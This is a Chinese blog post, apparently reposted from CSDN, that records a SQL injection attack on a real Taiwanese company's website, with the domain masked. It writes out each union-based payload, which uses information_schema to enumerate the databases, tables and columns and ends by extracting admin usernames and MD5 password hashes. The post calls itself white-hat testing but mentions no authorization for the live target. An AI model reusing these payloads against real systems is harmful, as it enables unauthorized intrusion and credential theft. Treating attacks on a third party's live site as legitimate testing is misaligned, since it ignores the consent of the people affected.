飞道的博客

白帽SQL注入实战过程记录(2)——根据information_schema组装SQL注入语句

572人阅读  评论(0)

目录

接上一篇内容

写在前面

信息汇总

漏洞汇总:

数据库信息:

利用information_schema库:

1、 数据库分析

①获取该用户权限下,有多少个数据库

②下一步获取这两个数据库的名字

2、表结构分析

①获取数据库多少表

②获取表名称

3、用户信息分析

首先,我们要先拿到admin表的表结构,即包含的字段名

获取4个字段的名称

获取登录信息


接上一篇内容

白帽SQL注入实战过程记录——TW某净化设备公司官网

写在前面

作为一个防御型白帽子子

你一定要知道进攻套路

才能有相应的防御措施

声明:只做测试,发现对方的漏洞,并不进行破坏性操作

 

信息汇总

 

漏洞汇总:


  
  1. 1、存在SQL注入漏洞
  2. 2、SQL注入查询长度为 9个字段,即 union select 1,2,3,4,5,6,7,8,9
  3. 3、网站无错误回显,SQL执行错误显示空白页面

 

数据库信息:


  
  1. 1、数据库版本:mysql 5.7. 31
  2. 2、当前数据库:jiuyu_jiuyu
  3. 3、当前登录用户:jiuyu@localhost
  4. 4、注入点: http:/ /www.xxx.com.tw/page.php?id= 133 union select 1,2,version(),current_user(),5,6,7,8,9

 

利用information_schema库:

在mysql数据库中

当前登录用户下,会有一个information_schema数据库

这个数据库里包含了当前用户权限下

所有database、table、column、privilege等等的汇总信息

在注入过程中,可以充分利用。

 

 

然后我们根据当前获得的信息,进行进一步的数据库分析

 

1、 数据库分析

①获取该用户权限下,有多少个数据库


  
  1. #拼接注入连接
  2. http://www.xxx.com.tw/page.php?id=133
  3. union
  4. select 1, 2, count( distinct(table_schema)), 4, 5, 6, 7, 8, 9 FROM information_schema.tables
  5. #通过information_schema数据库获取数据库相关信息

 

通过注入SQL语句

得到了数据库的数量 2 个

 

②下一步获取这两个数据库的名字


  
  1. #通过使用limit 可以逐条返回表数据
  2. http:/ /www.xxx.com.tw/page.php?id= 133
  3. union
  4. select 1, 2,table_schema, 4, 5, 6, 7, 8, 9 FROM information_schema.tables
  5. limit 2

 

通过添加两个limit,限定两条返回值

得到了仅有的两个数据库名称

information_schema 和 jiuyu_jiuyu

information_schema是默认的信息汇总表

所有,有用的就是jiuyu_jiuyu这个库

 

 

 

2、表结构分析

得到了目标数据库:jiuyu_jiuyu

下面对该数据库进行分析

 

①获取数据库多少表


  
  1. http://www.xxx.com.tw/page.php?id=133
  2. union
  3. select 1, 2, count( distinct(table_name)), 4, 5, 6, 7, 8, 9 FROM information_schema.tables
  4. where table_schema= 'jiuyu_jiuyu'
  5. #返回值为 4个表

 

②获取表名称


  
  1. --只有4个表,使用limit 逐条获取表名
  2. http://www.xxx.com.tw/page.php?id=133
  3. union
  4. select 1, 2,table_name, 4, 5, 6, 7, 8, 9 FROM information_schema.tables
  5. where table_schema= 'jiuyu_jiuyu'
  6. limit 1

依次得到四个表


  
  1. admin
  2. smallclass
  3. wenzhang
  4. neirong

 

 

emmm 经过认真分析

不难发现

admin表会有一些重要信息

其他的wenzhang、neirong之类的应该是一些新闻信息

下面 我们就对admin表进行数据获取

 

3、用户信息分析

首先,我们要先拿到admin表的表结构,即包含的字段名


  
  1. --获取admin表的字段数量
  2. http://www.xxx.com.tw/page.php?id=133
  3. union
  4. select 1, 2, count( 1), 4, 5, 6, 7, 8, 9 FROM information_schema.columns
  5. where table_name= 'admin'
  6. #包含四个字段

 

获取4个字段的名称


  
  1. --获取admin表字段名称
  2. http://www.xxx.com.tw/page.php?id=133
  3. union
  4. select 1, 2,column_name, 4, 5, 6, 7, 8, 9 FROM information_schema.columns
  5. where table_name= 'admin'
  6. limit 1

 

 

通过limit 逐条获取admin表的字段值   

  
  1. id
  2. username
  3. password
  4. quanxian

获取登录信息

是不是有点紧张

用户名信息什么的


  
  1. --获取admin表的数据值
  2. http://www.xxx.com.tw/page.php?id=133
  3. union
  4. select 1, 2,username, password, 5, 6, 7, 8, 9 FROM jiuyu_jiuyu.admin

 

成功获取用户信息返回值。

当然,信息是md5过的

如果想破解出明文。。。不!你不想!

欢迎关注我的微信公众号:微信搜索 snail_linux 更多精彩内容哦~~~~

 


转载:https://blog.csdn.net/weixin_42350212/article/details/115391278
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场